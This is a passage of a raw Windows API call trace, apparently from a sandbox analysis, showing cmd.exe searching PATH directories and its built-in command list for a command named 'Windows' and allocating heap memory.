lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.683] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.683] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.683] GetProcessHeap () returned 0x20b0f920000 [0162.683] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.683] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0162.684] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0162.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.684] GetLastError () returned 0x2 [0162.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.684] GetLastError () returned 0x2 [0162.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.684] GetLastError () returned 0x2 [0162.684] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.685] GetLastError () returned 0x2 [0162.685] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.685] GetLastError () returned 0x2 [0162.685] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.685] GetLastError () returned 0x2 [0162.685] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.685] GetLastError () returned 0x2 [0162.685] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.685] GetLastError () returned 0x2 [0162.685] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.686] GetLastError () returned 0x2 [0162.686] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.686] GetLastError () returned 0x2 [0162.686] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.686] GetLastError () returned 0x2 [0162.686] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.686] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.686] GetLastError () returned 0x2 [0162.686] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.686] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cd30 [0162.686] FindClose (in: hFindFile=0x20b0f92cd30 | out: hFindFile=0x20b0f92cd30) returned 1 [0162.687] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.687] GetLastError () returned 0x2 [0162.687] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.687] GetLastError () returned 0x2 [0162.687] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.687] GetLastError () returned 0x2 [0162.687] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.687] GetLastError () returned 0x2 [0162.687] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.687] GetLastError () returned 0x2 [0162.687] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.688] GetLastError () returned 0x2 [0162.688] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.688] GetLastError () returned 0x2 [0162.688] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.688] GetLastError () returned 0x2 [0162.689] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.689] GetLastError () returned 0x2 [0162.689] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.689] GetLastError () returned 0x2 [0162.689] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.689] GetLastError () returned 0x2 [0162.689] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.689] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.689] GetLastError () returned 0x2 [0162.689] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.689] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.690] GetLastError () returned 0x2 [0162.690] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.690] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.690] GetLastError () returned 0x2 [0162.690] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.690] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.690] GetLastError () returned 0x2 [0162.690] ??_V@YAXPEAX@Z () returned 0x1 [0162.690] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.691] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.691] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.691] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.691] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.691] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.691] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.691] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.691] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.691] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.691] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.691] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.691] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.692] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.692] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.692] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.692] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.692] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.692] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.692] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.692] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.692] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.692] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.692] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.692] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.692] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.692] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.692] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.692] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.692] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.692] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.692] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.692] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.692] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.692] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.692] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.692] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.692] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.692] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.692] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.692] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.692] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.692] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.692] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.692] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.692] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.692] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.692] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.692] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.692] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.693] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.693] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.693] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.693] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.693] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.693] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.693] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.693] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.693] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.693] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.693] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.693] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.693] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.693] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.693] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.693] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.693] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.693] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.693] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.693] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.693] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.693] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.693] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.693] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.693] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.693] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.693] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.693] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.693] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.693] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.693] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.693] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.693] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.693] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.693] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.693] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.693] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.694] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.694] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.694] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.694] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.694] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.694] ??_V@YAXPEAX@Z () returned 0x1 [0162.694] GetProcessHeap () returned 0x20b0f920000 [0162.694] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.694] GetProcessHeap () returned 0x20b0f920000 [0162.694] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f957da0 [0162.694] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.694] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.695] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.695] GetProcessHeap () returned 0x20b0f920000 [0162.695] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.696] SetErrorMode (uMode=0x0) returned 0x0 [0162.696] SetErrorMode (uMode=0x1) returned 0x0 [0162.696] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.696] SetErrorMode (uMode=0x0) returned 0x1 [0162.696] GetProcessHeap () returned 0x20b0f920000 [0162.696] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.696] GetProcessHeap () returned 0x20b0f920000 [0162.696] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.696] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.696] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.696] GetProcessHeap () returned 0x20b0f920000 [0162.696] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.696] GetProcessHeap () returned 0x20b0f920000 [0162.696] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.696] GetProcessHeap () returned 0x20b0f920000 [0162.696] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.696] GetProcessHeap () returned 0x20b0f920000 [0162.696] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.697] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.697] GetProcessHeap () returned 0x20b0f920000 [0162.697] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.697] GetProcessHeap () returned 0x20b0f920000 [0162.697] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.697] GetProcessHeap () returned 0x20b0f920000 [0162.697] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.697] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.697] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ce50 [0162.697] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0162.697] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.697] GetLastError () returned 0x2 [0162.697] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.697] GetLastError () returned 0x2 [0162.697] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.698] GetLastError () returned 0x2 [0162.698] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.698] GetLastError () returned 0x2 [0162.698] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.698] GetLastError () returned 0x2 [0162.698] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.698] GetLastError () returned 0x2 [0162.698] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.698] GetLastError () returned 0x2 [0162.698] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.699] GetLastError () returned 0x2 [0162.699] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.699] GetLastError () returned 0x2 [0162.699] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.699] GetLastError () returned 0x2 [0162.699] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.699] GetLastError () returned 0x2 [0162.699] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.699] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.700] GetLastError () returned 0x2 [0162.700] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.700] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d210 [0162.700] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0162.700] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.700] GetLastError () returned 0x2 [0162.700] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.700] GetLastError () returned 0x2 [0162.700] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.700] GetLastError () returned 0x2 [0162.700] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.700] GetLastError () returned 0x2 [0162.701] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.701] GetLastError () returned 0x2 [0162.701] 